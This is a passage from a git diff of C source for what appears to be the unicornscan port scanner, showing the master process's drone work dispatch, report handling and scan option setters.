fifo_destroy(s->pri_work); + + listener_stats=0; + + terminate_listeners(); + + do { + DBG(M_MST, "reading drones for listener statistics"); + readable=drone_poll(s->master_tickrate); + if (readable > 0) { + master_read_drones(); + } + } while (s->listeners != listener_stats); + + return; +} + +static void master_read_drones(void) { + uint8_t msg_type=0, status=0; + size_t msg_len=0; + drone_t *c=NULL; + union { + uint8_t *p; + send_stats_t *s; + recv_stats_t *r; + } d_u; + + for (c=s->dlh->head; c != NULL; c=c->next) { + if (c->s > 0 && c->s_rw & XPOLL_READABLE) { + int getret=0; + + DBG(M_MST, + "reading file descriptor: %d type: `%s' status `%s' [ %d senders left | " + "%d listeners left ]", + c->s, + strdronetype(c->type), + strdronestatus(c->status), + s->senders, + s->listeners + ); + + if (recv_messages(c->s) < 1) { + ERR("cant recieve messages from fd %d, marking as dead", c->s); + drone_updatestate(c, DRONE_STATUS_DEAD); + continue; + } + + for (;c->s > 0;) { + getret=get_message(c->s, &msg_type, &status, &d_u.p, &msg_len); + if (getret < 1) { + break; + } + DBG(M_IPC, "msg type %s status %u from drone type %s on fd %d", + strmsgtype(msg_type), + status, + strdronetype(c->type), + c->s + ); + if (msg_type == MSG_ERROR || status != MSG_STATUS_OK) { + ERR("drone on fd %d is dead, closing socket and marking dead", c->s); + drone_updatestate(c, DRONE_STATUS_DEAD); + break; + } + else if (msg_type == MSG_WORKDONE) { + char smsg[1024]; + + if (c->wid == 0) { + PANIC("drone finished without having any work"); + } + + if (c->type == DRONE_TYPE_SENDER) { + workunit_stats_t ws; + + workunit_destroy_sp(c->wid); + + if (msg_len != sizeof(send_stats_t)) { + ERR("bad send status message, too short"); + drone_updatestate(c, DRONE_STATUS_DEAD); + break; + } + + snprintf(smsg, sizeof(smsg) -1, + "%.1f pps with %llu packets sent total", + d_u.s->pps, + d_u.s->packets_sent + ); + + ws.magic=WKS_SEND_MAGIC; + ws.wid=c->wid; + ws.msg=xstrdup(smsg); + push_output_modules(&ws); + + VRB(0, "sender statistics %s", smsg); + + send_workunits_complete++; + DBG(M_MST, "setting sender back to ready state after workdone message"); + c->status=DRONE_STATUS_READY; + } + else if (c->type == DRONE_TYPE_LISTENER) { + workunit_stats_t ws; + + workunit_destroy_lp(c->wid); + + if (msg_len != sizeof(recv_stats_t)) { + ERR("bad recv status message, too short"); + drone_updatestate(c, DRONE_STATUS_DEAD); + break; + } + + snprintf(smsg, sizeof(smsg) -1, + "%u packets recieved %u packets droped and %u interface drops", + d_u.r->packets_recv, + d_u.r->packets_dropped, + d_u.r->interface_dropped + ); + + ws.magic=WKS_RECV_MAGIC; + ws.wid=c->wid; + ws.msg=xstrdup(smsg); + push_output_modules(&ws); + + VRB(0, "listener statistics %s", smsg); + + listener_stats++; + listen_workunits_complete++; + DBG(M_MST, "setting listener back to ready state after workdone message"); + c->status=DRONE_STATUS_READY; + } + + c->wid=0; + } + else if (msg_type == MSG_OUTPUT && c->type == DRONE_TYPE_LISTENER) { + if (deal_with_output(d_u.p, msg_len) < 0) { + ERR("cant deal with output from drone, marking as dead"); + drone_updatestate(c, DRONE_STATUS_DEAD); + break; + } + } + else { + ERR("unhandled message from `%s' drone message type `%s' with status %d", + strdronetype(c->type), + strmsgtype(msg_type), + status + ); + } + if (getret == 0) break; + } /* multiple message read loop */ + } /* readable fd */ + } /* for each drone */ + + return; +} + +/* + * used inside of connect too + */ +int deal_with_output(void *msg, size_t msg_len) { + union { + void *ptr; + ip_report_t *i; + arp_report_t *a; + uint32_t *magic; + } r_u; + + assert(msg != NULL); + + r_u.ptr=msg; + + if (*r_u.magic == IP_REPORT_MAGIC) { + if (r_u.i->doff > s->vi[0]->mtu) { + ERR("impossible packet length %u with mtu %u", r_u.i->doff, s->vi[0]->mtu); + return -1; + } + + if (msg_len < sizeof(ip_report_t) + r_u.i->doff) { + ERR("IP report claims impossible length"); + return -1; + } + + DBG(M_RPT, "IP report has a %u byte packet attached to it", r_u.i->doff); + + r_u.i->od_q=fifo_init(); + + push_jit_report_modules(r_u.ptr); + + if (r_u.i->proto == IPPROTO_TCP && GET_DOCONNECT()) { + connect_do(s->pri_work, (const ip_report_t *)r_u.i); + } + } + else if (*r_u.magic == ARP_REPORT_MAGIC) { + if (r_u.a->doff > s->vi[0]->mtu) { + ERR("impossible packet length %u with mtu %u", r_u.a->doff, s->vi[0]->mtu); + return -1; + } + + if (msg_len < sizeof(arp_report_t) + r_u.a->doff) { + ERR("ARP report claims impossible length"); + return -1; + } + + DBG(M_RPT, "ARP report has a %u byte packet attached to it", r_u.i->doff); + + r_u.a->od_q=fifo_init(); + + push_jit_report_modules(r_u.ptr); + } + else { + ERR("unknown report format %04x", *r_u.magic); + return -1; + } + + if (report_add(r_u.ptr, msg_len) < 0) { + ERR("unable to add report"); + return -1; + } + + return 1; +} + +static int senders_done(void) { + int ret=0; + + + ret=workunit_check_sp(); + + DBG(M_MST, "workunits_check_sp = %d", ret); + + return ret; +} + +static void terminate_listeners(void) { + drone_t *c=NULL; + uint8_t *ptr=NULL; + + for (c=s->dlh->head; c != NULL; c=c->next) { + if (c->type == DRONE_TYPE_LISTENER && (c->status == DRONE_STATUS_READY || c->status == DRONE_STATUS_WORKING)) { + if (send_message(c->s, MSG_TERMINATE, MSG_STATUS_OK, ptr, 0) < 0) { + ERR("cant tell %s %s drone on fd %d to terminate, marking dead", + strdronestatus(c->status), + strdronetype(c->type), + c->s + ); + drone_updatestate(c, DRONE_STATUS_DEAD); + workunit_reject_lp(c->wid); + c->wid=0; + } + } + DBG(M_MST, "drone %s is state %s", strdronetype(c->type), strdronestatus(c->status)); + } +} + +int dispatch_pri_work(void) { + union { + void *ptr; + uint8_t *cr; + send_pri_workunit_t *w; + } pw_u; + uint32_t pri_len=0, wuc=0, rem=0; + drone_t *c=NULL; + + pw_u.ptr=NULL; + pri_len=fifo_length(s->pri_work); + + /* + * always empty regardless of int / leftovers, only works cause if NULL check in fifo_pop + */ + if ((rem=pri_len % s->senders)) { + pri_len += (s->senders - rem); + } + + for (c=s->dlh->head; c != NULL; c=c->next) { + if (c->type == DRONE_TYPE_SENDER && (c->status == DRONE_STATUS_READY || c->status == DRONE_STATUS_WORKING)) { + + for (wuc=0; (pw_u.ptr=fifo_pop(s->pri_work)) != NULL && wuc < (pri_len / s->senders); wuc++) { + if (send_message(c->s, MSG_WORKUNIT, MSG_STATUS_OK, pw_u.cr, (sizeof(send_pri_workunit_t) + pw_u.w->doff)) < 0) { + ERR("cant send priority workunit to sender on fd %d, marking dead", c->s); + drone_updatestate(c, DRONE_STATUS_DEAD); + } + } + } + } + + return wuc; +} + +static int dispatch_work_units(void) { + drone_t *c=NULL; + union { + uint8_t *cr; + send_workunit_t *s; + recv_workunit_t *l; + } w_k; + int sent=0; + uint8_t msg_type=0, status=0, *ptr=NULL; + size_t wk_len=0, msg_len=0; + uint32_t wid=0; + + /* >= for clarity; we send listener workunits, then sender workunits, then we are done */ + if (master_state >= MASTER_SENT_SENDER_WORKUNITS) { + DBG(M_MST, "no more work to dispatch"); + return 0; + } + +#if 0 + if (master_state == MASTER_START) { + if (GET_RNDSRCIP() /* || XXX */) { + master_updatestate(MASTER_SENT_LISTEN_WORKUNITS); + } + } +#endif + + for (c=s->dlh->head; c != NULL; c=c->next) { + if (c->status != DRONE_STATUS_READY && c->status != DRONE_STATUS_WORKING /* so we can flag state changes */) { + DBG(M_MST, "skipping %s drone with status %s", strdronetype(c->type), strdronestatus(c->status)); + continue; + } + if (c->wid != 0 && c->type == DRONE_TYPE_SENDER) { + DBG(M_MST, "skipping working sender drone has wid %u outstanding", c->wid); + continue; + } + + + if (master_state == MASTER_START && c->type == DRONE_TYPE_LISTENER) { + static int lwu_mixed=0; + + DBG(M_MST, "sending listener workunits"); + + w_k.cr=NULL; + + if (lwu_mixed == 0) { + workunit_stir_lp(); + lwu_mixed++; + } + + if ((w_k.l=workunit_get_lp(&wk_len, &wid)) != NULL) { + if (wid == 0) { + PANIC("got 0 wid"); + } + DBG(M_MST, "got listener workunit of size " STFMT ", sending to listener", wk_len); + + if (send_message(c->s, MSG_WORKUNIT, MSG_STATUS_OK, w_k.cr, wk_len) < 0) { + ERR("cant send workunit to listener on fd %d", c->s); + workunit_reject_lp(wid); + drone_updatestate(c, DRONE_STATUS_DEAD); + continue; + } + + if (get_singlemessage(c->s, &msg_type, &status, &ptr, &msg_len) != 1) { + ERR("unexpected sequence of messages from listener on fd %d, marking dead", c->s); + workunit_reject_lp(wid); + drone_updatestate(c, DRONE_STATUS_DEAD); + continue; + } + + if (status != MSG_STATUS_OK) { + ERR("bad status `%d' from listener on fd %d, marking as dead", status, c->s); + workunit_reject_lp(wid); + drone_updatestate(c, DRONE_STATUS_DEAD); + continue; + } + + if (msg_type != MSG_READY) { + ERR("bad message `%s' from listener on fd %d, marking as dead", strmsgtype(msg_type), c->s); + workunit_reject_lp(wid); + drone_updatestate(c, DRONE_STATUS_DEAD); + continue; + } + + c->wid=wid; + sent++; + + DBG(M_WRK, "sent workunit WID %u to listener on fd %d", wid, c->s); + + c->status=DRONE_STATUS_WORKING; + + } /* if we have a workunit for it */ + else { + DBG(M_MST, "done sending listener workunits"); + master_updatestate(MASTER_SENT_LISTEN_WORKUNITS); + workunit_stir_sp(); + } + } /* if its a valid listener and we havent emptied the listener workunit pool */ + else if (master_state == MASTER_SENT_LISTEN_WORKUNITS && c->type == DRONE_TYPE_SENDER) { + + DBG(M_MST, "sending sender workunits"); + + if ((w_k.s=workunit_get_sp(&wk_len, &wid)) != NULL) { + DBG(M_WRK, "got sender workunit of size " STFMT ", sending to sender", wk_len); + + if (send_message(c->s, MSG_WORKUNIT, MSG_STATUS_OK, w_k.cr, wk_len) < 0) { + ERR("cant Send Workunit to sender on fd %d", c->s); + workunit_reject_sp(wid); + drone_updatestate(c, DRONE_STATUS_DEAD); + continue; + } + /* send workunits have no startup time or `ack' */ + + c->wid=wid; + sent++; + + DBG(M_WRK, "sent workunit WID %u to sender on fd %d", wid, c->s); + + c->status=DRONE_STATUS_WORKING; + } /* if we have a workunit for it and we already sent workunits to the listeners but not yet senders */ + else { + DBG(M_MST, "done sending sender workunits"); + master_updatestate(MASTER_SENT_SENDER_WORKUNITS); + } + } /* if we still have workunits to send to the senders */ + } /* for every drone */ + + return sent; +} diff --git a/src/scan_progs/master.h b/src/scan_progs/master.h new file mode 100644 index 0000000..412ec19 --- /dev/null +++ b/src/scan_progs/master.h @@ -0,0 +1,28 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#ifndef _MASTER_H +# define _MASTER_H + +void run_drone(void); +void run_scan(void); +int dispatch_pri_work(void); +int deal_with_output(void * /* msg */, size_t /* msg_len */); +void deal_with_workunit(const void * /* workunit */, uint32_t /* wid */); + +#endif diff --git a/src/scan_progs/options.c b/src/scan_progs/options.c new file mode 100644 index 0000000..1c54f1c --- /dev/null +++ b/src/scan_progs/options.c @@ -0,0 +1,1011 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#include + +#include +#include + +#include + +#include +#include +#include +#include +#include +#include + +#include +#include + +static keyval_t *kv_list=NULL; + +int scan_setdefaults(void) { + s->repeats=1; + s->forklocal=FORK_LOCAL_LISTENER|FORK_LOCAL_SENDER; + + s->pps=250; + + s->master_tickrate=250; + + s->gport_str=xstrdup("q"); + + s->tcpquickports=xstrdup("22"); + s->udpquickports=xstrdup("53"); + + s->payload_group=1; + + /* translate syn+ack to open, rst+ack to closed, etc */ + SET_DOTRANS(1); + + /* the default is to have the ports shuffled */ + SET_SHUFFLE(1); + + /* the default is to have a default payload 16 A's or whatever */ + SET_DEFAULT(1); + + SET_WATCHERRORS(0); + SET_PROCERRORS(0); + SET_IGNORESEQ(0); + SET_IGNORERSEQ(0); + + if (scan_setdebug("none") < 0) { + ERR("cant set debug mask"); + } + + scan_setprivdefaults(); + + s->conn_delay=4000; + + s->ip_report_fmt=xstrdup("%-8r\t%16P[%5p]\t\tFrom %h %T ttl %t"); + s->ip_imreport_fmt=xstrdup("%-8r %h:%p %T ttl %t"); + s->arp_report_fmt=xstrdup("%M (%o) is %h"); + s->arp_imreport_fmt=xstrdup("%h at %M"); + s->openstr=xstrdup("open"); + s->closedstr=xstrdup("closed"); + + return 1; +} + +int scan_settcpquick(const char *ports) { + + if (ports == NULL || strlen(ports) < 1) { + return -1; + } + + if (s->tcpquickports != NULL) { + xfree(s->tcpquickports); + } + + s->tcpquickports=xstrdup(ports); + return 1; +} + +int scan_setudpquick(const char *ports) { + + if (ports == NULL || strlen(ports) < 1) { + return -1; + } + + if (s->udpquickports != NULL) { + xfree(s->udpquickports); + } + + s->udpquickports=xstrdup(ports); + + return 1; +} + +int scan_setopenclosed(const char *openstr, const char *closedstr) { + if (openstr == NULL || closedstr == NULL || MIN(strlen(openstr), strlen(closedstr)) < 1) { + return -1; + } + + if (s->openstr != NULL) { + xfree(s->openstr); + } + if (s->closedstr != NULL) { + xfree(s->closedstr); + } + + s->openstr=xstrdup(openstr); + s->closedstr=xstrdup(closedstr); + + return 1; +} + +int scan_setformat(const char *fmt) { + size_t flen=0; + + if (fmt == NULL || strlen(fmt) < 1) { + return -1; + } + + flen=strlen(fmt); + + if (flen > 3 && strncmp(fmt, "ip:" , 3) == 0) { + if (s->ip_report_fmt != NULL) { + xfree(s->ip_report_fmt); + } + s->ip_report_fmt=xstrdup(fmt + 3); + } + else if (flen > 5 && strncmp(fmt, "imip:" , 5) == 0) { + if (s->ip_imreport_fmt != NULL) { + xfree(s->ip_imreport_fmt); + } + s->ip_imreport_fmt=xstrdup(fmt + 5); + } + else if (flen > 4 && strncmp(fmt, "arp:" , 4) == 0) { + if (s->arp_report_fmt != NULL) { + xfree(s->arp_report_fmt); + } + s->arp_report_fmt=xstrdup(fmt + 4); + } + else if (flen > 6 && strncmp(fmt, "imarp:", 6) == 0) { + if (s->arp_imreport_fmt != NULL) { + xfree(s->arp_imreport_fmt); + } + s->arp_imreport_fmt=xstrdup(fmt + 6); + } + else { + ERR("unknown format specification type, ip:,imip:,arp:,imarp: are known"); + return -1; + } + + return 1; +} + +int scan_setdronestring(const char *type) { + + if (type == NULL || strlen(type) < 1) { + return -1; + } + + if (type[0] == 'L' || type[0] == 'l') { + if (type[1] != '\0') { + s->listen_addr=xstrdup(&type[1]); + } + else { + s->listen_addr=xstrdup(DEF_LISTEN_ADDR); + } + SET_LISTENDRONE(1); + s->forklocal=FORK_LOCAL_LISTENER; + + return 1; + } + else if (type[0] == 'S' || type[0] == 's') { + if (type[1] != '\0') { + s->listen_addr=xstrdup(&type[1]); + } + else { + s->listen_addr=xstrdup(DEF_LISTEN_ADDR); + } + SET_SENDDRONE(1); + s->forklocal=FORK_LOCAL_SENDER; + + return 1; + } + else { + s->drone_str=xstrdup(type); + s->forklocal=0; + } + + return 1; +} + +int scan_setenablemodule(const char *modules) { + + if (modules == NULL || strlen(modules) < 1) { + return -1; + } + + if (s->module_enable != NULL) { + xfree(s->module_enable); + } + + s->module_enable=xstrdup(modules); + + return 1; +} + +int scan_setgports(const char *ports) { + + if (ports == NULL || strlen(ports) < 1) { + return -1; + } + + if (s->gport_str != NULL) { + xfree(s->gport_str); + } + + s->gport_str=xstrdup(ports); + + return 1; +} + +int scan_setidlehosts(const char *ihosts) { + + if (ihosts == NULL || strlen(ihosts) < 1) { + return -1; + } + + if (s->idle_hosts != NULL) { + xfree(s->idle_hosts); + } + + s->idle_hosts=xstrdup(ihosts); + + return 1; +} + +int scan_setignoreseq(const char *type) { + + if (type == NULL || strlen(type) < 1) { + return -1; + } + + if (type[0] == 'A' || type[0] == 'a') { + SET_IGNORESEQ(1); + } + else if (type[0] == 'R' || type[0] == 'r') { + SET_IGNORERSEQ(1); + } + else if (type[0] == 'N' || type[0] == 'n') { + SET_IGNORESEQ(0); + SET_IGNORERSEQ(0); + return 1; + } + else { + ERR("unknown sequence ignorace type %c", type[0]); + return -1; + } + + return 1; +} + +int scan_setinterface(const char *intf) { + + if (intf == NULL || strlen(intf) < 1) { + return -1; + } + + if (s->interface_str != NULL) { + xfree(s->interface_str); + } + + s->interface_str=xstrdup(intf); + + return 1; +} + +int scan_setmoddir(const char *dir) { + + if (dir == NULL || strlen(dir) < 1) { + return -1; + } + + if (access(dir, R_OK|X_OK) < 0) { + ERR("cant read module directory `%s': %s", dir, strerror(errno)); + return -1; + } + + if (s->mod_dir != NULL) { + xfree(s->mod_dir); + } + + s->mod_dir=xstrdup(dir); + + return 1; +} + +int scan_setpcapfilter(const char *filter) { + + if (filter == NULL || strlen(filter) < 1) { + return -1; + } + + if (s->extra_pcapfilter != NULL) { + xfree(s->extra_pcapfilter); + } + s->extra_pcapfilter=xstrdup(filter); + + return 1; +} + +int scan_setpps(const char *ppsstr) { + int pps=0; + + if (ppsstr == NULL || strlen(ppsstr) < 1) { + return -1; + } + + if (sscanf(ppsstr, "%d", &pps) != 1) { + ERR("bad pps format"); + return -1; + } + + if (pps < 0) { + ERR("negative pps not handled, nor is carpet made of palmtree shoes, but thats not important right now, whats important is that you use this option correctly."); + return -1; + } + + s->pps=pps; + + return 1; +} + +int scan_setprofile(const char *profname) { + + if (profname == NULL || strlen(profname) < 1) { + return -1; + } + + if (s->profile != NULL) { + xfree(s->profile); + } + + s->profile=xstrdup(profname); + return 1; +} + +int scan_setreadfile(const char *file) { + + if (file == NULL || strlen(file) < 1) { + return -1; + } + + if (access(file, R_OK) < 0) { + ERR("file `%s' cant be read: %s", file, strerror(errno)); + return -1; + } + + if (s->pcap_readfile != NULL) { + xfree(s->pcap_readfile); + } + + s->pcap_readfile=xstrdup(file); + + return 1; +} + +int scan_setsavefile(const char *sfile) { + char newfname[PATH_MAX], *opos=NULL; + const char *cptr=NULL; + size_t olen=0; + time_t curtime; + int sret=0, tfd=0; + + if (sfile == NULL || strlen(sfile) < 1) { + return -1; + } + + memset(newfname, 0, sizeof(newfname)); + + for (cptr=sfile, opos=newfname; *cptr != '\0'; cptr++) { + switch (*cptr) { + case '%': + if (*(cptr + 1) == '\0') { + *(opos++)='%'; olen++; + break; + } + cptr++; + switch (*cptr) { + case 'd': + if ((olen + 11) >= sizeof(newfname)) { + ERR("source filename too long"); + return -1; + } + time(&curtime); + sret=snprintf(opos, (sizeof(newfname) - olen - 1), "%d", (int)curtime); + olen += sret; opos += sret; + break; + + case '%': /* this turns into a % then */ + *(opos++)='%'; olen++; + break; + + default: + ERR("unknown escape char `%c' in filename", *cptr); + return -1; + } + break; + + default: + if ((olen + 1) >= sizeof(newfname)) { + ERR("source filename too long"); + return -1; + } + *(opos++)=*cptr; olen++; + break; + } + } + + if (s->pcap_dumpfile != NULL) { + xfree(s->pcap_dumpfile); + } + + tfd=open(newfname, O_CREAT|O_WRONLY|O_EXCL, S_IRUSR|S_IWUSR); + if (tfd < 0) { + ERR("cant open file `%s': %s", newfname, strerror(errno)); + return -1; + } + + unlink(newfname); + + s->pcap_dumpfile=xstrdup(newfname); + + return 1; +} + +/* bool */ + +int scan_setcovertness(int level) { + + if (level < 0 || level > 0xff) { + ERR("covertness value `%d' of of range", level); + return -1; + } + + s->covertness=(uint8_t)level; + return 1; +} + +int scan_setdefpayload(int def) { + + if (def) { + SET_DEFAULT(1); + } + else { + SET_DEFAULT(0); + } + + return 1; +} + +/* XXX */ +int scan_setdelaytype(int type) { + + if (type > 0xff || type < 0) { + ERR("delay type out of range"); + return -1; + } + + s->delay_type_exp=(uint8_t)type; + return 1; +} + +int scan_setdodns(int dns) { + + if (dns) { + SET_DODNS(1); + } + else { + SET_DODNS(0); + } + + return 1; +} + +int scan_setidlescan(int idle) { + + if (idle) { + ERR("not implemented"); + return -1; + } + else { + //SET_IDLESCAN(0); + } + + return 1; +} + +int scan_setignroot(int root) { + + if (root) { + SET_IGNROOT(1); + } + else { + SET_IGNROOT(0); + } + + return 1; +} + +int scan_setimmediate(int imm) { + + if (imm) { + SET_IMMEDIATE(1); + } + else { + SET_IMMEDIATE(0); + } + + return 1; +} + +int scan_setlistendrone(int listd) { + + if (listd) { + if (GET_SENDDRONE()) { + ERR("send and listen drones are mutually exclusive"); + return -1; + } + SET_LISTENDRONE(1); + s->forklocal=FORK_LOCAL_LISTENER; + } + else { + SET_LISTENDRONE(0); + } + + return 1; +} + +int scan_setpayload_grp(int plg) { + if (plg < 0 || plg > 0xffff) { + ERR("payload group out of range"); + return -1; + } + s->payload_group=(uint16_t)plg; + + return 1; +} + +int scan_setppsi(int value) { + + if (value < 1) { + ERR("negative pps not handled currently, and if it was, you must ask yourself why!"); + return -1; + } + + s->pps=value; + + return 1; +} + +int scan_setprocdups(int proc) { + if (proc) { + SET_PROCDUPS(1); + } + else { + SET_PROCDUPS(0); + } + + return 1; +} + +int scan_setprocerrors(int proc) { + if (proc) { + SET_PROCERRORS(1); + SET_WATCHERRORS(1); + } + else { + SET_PROCERRORS(0); + SET_WATCHERRORS(0); + } + + return 1; +} + +int scan_setrepeats(int repeats) { + + if (repeats < 1) { + ERR("scan repeats is less than one"); + return -1; + } + + s->repeats=(uint32_t)repeats; + + return 1; +} + +int scan_setreportquiet(int quiet) { + + SET_REPORTQUIET(quiet); + + return 1; +} + +int scan_setsenddrone(int sendd) { + + if (sendd) { + if (GET_LISTENDRONE()) { + ERR("send and listen drones are mutually exclusive"); + return -1; + } + SET_SENDDRONE(1); + s->forklocal=FORK_LOCAL_SENDER; + } + else { + SET_SENDDRONE(0); + } + + return 1; +} + +int scan_setshuffle(int shuffle) { + + if (shuffle) { + SET_SHUFFLE(1); + } + else { + SET_SHUFFLE(0); + } + + return 1; +} + +int scan_setsniff(int sniff) { + + if (sniff) { + SET_SNIFF(1); + } + else { + SET_SNIFF(0); + } + + return 1; +} + +int scan_settrans(int trans) { + + if (trans) { + SET_DOTRANS(1); + } + else { + SET_DOTRANS(0); + } + + return 1; +} + +int scan_settryfrags(int frag) { + + if (frag) { + ERR("frag scanning is not implemented in this release"); + return -1; + } + + return 1; +} + +int scan_setverbose(int verbl) { + + if (verbl < 0) { + s->verbose=0; + return 1; + } + + if (verbl > 0xff) { + s->verbose=255; + return 1; + } + + s->verbose=(uint8_t)verbl; + + return 1; +} + +int scan_setdebug(const char *maskstr) { + char *sdup=NULL, *tok=NULL, *rent=NULL; + + sdup=xstrdup(maskstr); + + s->debugmask=0; + + for (tok=strtok_r(sdup, ",", &rent); tok != NULL; tok=strtok_r(NULL, ",", &rent)) { + if (strcasecmp(tok, "all") == 0) { + s->debugmask=M_ALL; + break; + } + else if (strcasecmp(tok, "none") == 0) { + s->debugmask=0; + } + else if (strcasecmp(tok, M_WRKSTR) == 0) { + s->debugmask |= M_WRK; + } + else if (strcasecmp(tok, M_RTESTR) == 0) { + s->debugmask |= M_RTE; + } + else if (strcasecmp(tok, M_DRNSTR) == 0) { + s->debugmask |= M_DRN; + } + else if (strcasecmp(tok, M_MODSTR) == 0) { + s->debugmask |= M_MOD; + } + else if (strcasecmp(tok, M_SCKSTR) == 0) { + s->debugmask |= M_SCK; + } + else if (strcasecmp(tok, M_DNSSTR) == 0) { + s->debugmask |= M_DNS; + } + else if (strcasecmp(tok, M_IPCSTR) == 0) { + s->debugmask |= M_IPC; + } + else if (strcasecmp(tok, M_PIOSTR) == 0) { + s->debugmask |= M_PIO; + } + else if (strcasecmp(tok, M_SNDSTR) == 0) { + s->debugmask |= M_SND; + } + else if (strcasecmp(tok, M_CONSTR) == 0) { + s->debugmask |= M_CON; + } + else if (strcasecmp(tok, M_CLDSTR) == 0) { + s->debugmask |= M_CLD; + } + else if (strcasecmp(tok, M_PRTSTR) == 0) { + s->debugmask |= M_PRT; + } + else if (strcasecmp(tok, M_MSTSTR) == 0) { + s->debugmask |= M_MST; + } + else if (strcasecmp(tok, M_RPTSTR) == 0) { + s->debugmask |= M_RPT; + } + else if (strcasecmp(tok, M_PKTSTR) == 0) { + s->debugmask |= M_PKT; + } + else if (strcasecmp(tok, M_CNFSTR) == 0) { + s->debugmask |= M_CNF; + } + else if (strcasecmp(tok, M_PYLSTR) == 0) { + s->debugmask |= M_PYL; + } + else if (strcasecmp(tok, M_INTSTR) == 0) { + s->debugmask |= M_INT; + } + else { + ERR("unknown debug facility `%s'", tok); + } + } + + if (s->debugmaskstr != NULL) { + xfree(s->debugmaskstr); + } + + s->debugmaskstr=xstrdup(maskstr); + xfree(sdup); + + return 1; +} + +int scan_setverboseinc(void) { /* kludge for getconfig.c */ + + if (s->verbose > 0xfe) { + ERR("stop that, stop saying that."); + return -1; + } + + ++s->verbose; + + return 1; +} + +char *scan_getgports(void) { + return s->gport_str; +} + +char *scan_optmap(const char *key, const char *value) { + static char ebuf[64]; + char lkey[32], lval[32]; + int j=0, eflg=0; + + CLEAR(ebuf); CLEAR(lkey); CLEAR(lval); + + for (j=0; (size_t)j < MIN(strlen(key), sizeof(lkey) - 1); j++) { + lkey[j]=tolower(key[j]); + } + + for (j=0; (size_t)j < MIN(strlen(value), sizeof(lval) - 1); j++) { + lval[j]=tolower(value[j]); + } + + snprintf(ebuf, sizeof(ebuf) -1, "unknown error for `%s'=`%s'", key, value); + + if (strcmp(lkey, "delaytype") == 0) { + int dt=0; + + if ((dt=delay_gettype(lval)) < 0) { + snprintf(ebuf, sizeof(ebuf) -1, "unknown delay type `%s'", lval); eflg=1; + } + if (scan_setdelaytype(dt) < 0) { + snprintf(ebuf, sizeof(ebuf) -1, "cant set delay type `%s'", lval); eflg=1; + } + } + else if (strcmp(lkey, "ipttl") == 0) { + if (scan_setttl(lval) < 0) { + snprintf(ebuf, sizeof(ebuf) -1, "cant set ttl value `%s'", lval); eflg=1; + } + } + else if (strcmp(lkey, "brokencrc") == 0) { + if (strstr(lval, "transport") != NULL && strstr(lval, "network") != NULL) { + if (scan_setbroken("TN") < 0) { + snprintf(ebuf, sizeof(ebuf) -1, "cant set broken transport crcs"); eflg=1; + } + } + else if (strstr(lval, "network") != NULL) { + if (scan_setbroken("N") < 0) { + snprintf(ebuf, sizeof(ebuf) -1, "cant set broken network crcs"); eflg=1; + } + } + else if (strstr(lval, "transport") != NULL) { + if (scan_setbroken("T") < 0) { + snprintf(ebuf, sizeof(ebuf) -1, "cant set broken transport/network crcs"); eflg=1; + } + } + else { + snprintf(ebuf, sizeof(ebuf) -1, "unknown value `%s' for brokencrc (network and transport are valid)", lval); eflg=1; + } + } + else if (strcmp(lkey, "debug") == 0) { + if (scan_setdebug(lval) < 0) { + snprintf(ebuf, sizeof(ebuf) -1, "cant set debug"); eflg=1; + } + } + else if (strcmp(lkey, "format") == 0) { + if (scan_setformat(value) < 0) { + snprintf(ebuf, sizeof(ebuf) -1, "cant set format"); eflg=1; + } + } + else if (strcmp(lkey, "readfile") == 0) { + if (scan_setreadfile(value) < 0) { + snprintf(ebuf, sizeof(ebuf) -1, "unable to set readfile `%s'", value); eflg=1; + } + } + else if (strcmp(lkey, "ignoreseq") == 0) { + if (scan_setignoreseq(lval) < 0) { + snprintf(ebuf, sizeof(ebuf) -1, "bad sequence ignorance option `%s'", value); eflg=1; + } + } + else if (strcmp(lkey, "scanmode") == 0) { + DBG(M_CNF, "scanmode is currently ignored when inside the configuration file"); + } + else if (strcmp(lkey, "tcpquickports") == 0) { + if (scan_settcpquick(value) < 0) { + snprintf(ebuf, sizeof(ebuf) -1, "cant set tcp quick ports"); eflg=1; + } + } + else if (strcmp(lkey, "udpquickports") == 0) { + if (scan_setudpquick(value) < 0) { + snprintf(ebuf, sizeof(ebuf) -1, "cant set udp quick ports"); eflg=1; + } + } + else if (strcmp(lkey, "tcpflags") == 0) { + int tcphdrflgs=0; + + tcphdrflgs=decode_tcpflags(value); + if (tcphdrflgs < 0) { + snprintf(ebuf, sizeof(ebuf) -1, "unable to decode tcp header flags `%s'", value); eflg=1; + } + if (scan_settcpflags(tcphdrflgs) < 0) { + snprintf(ebuf, sizeof(ebuf) -1, "unable to set tcp header flags `%s'", value); eflg=1; + } + } + else { + snprintf(ebuf, sizeof(ebuf) -1, "unknown option `%s'", lkey); eflg=1; + } + + if (eflg) return ebuf; + return NULL; +} + +char *scan_optmapi(const char *key, int value) { + static char ebuf[64]; + char lkey[32]; + int j=0; + + CLEAR(ebuf); CLEAR(lkey); + + for (j=0; (size_t)j < MIN(strlen(key), sizeof(lkey) - 1); j++) { + lkey[j]=tolower(key[j]); + } + + if (strcmp(lkey, "pps") == 0) { + if (scan_setppsi(value)) return NULL; + } + else if (strcmp(lkey, "procerrors") == 0) { + if (scan_setprocerrors(value)) return NULL; + } + else if (strcmp(lkey, "immediate") == 0 || strcmp(lkey, "robert") == 0) { + if (scan_setimmediate(value)) return NULL; + } + else if (strcmp(lkey, "defpayload") == 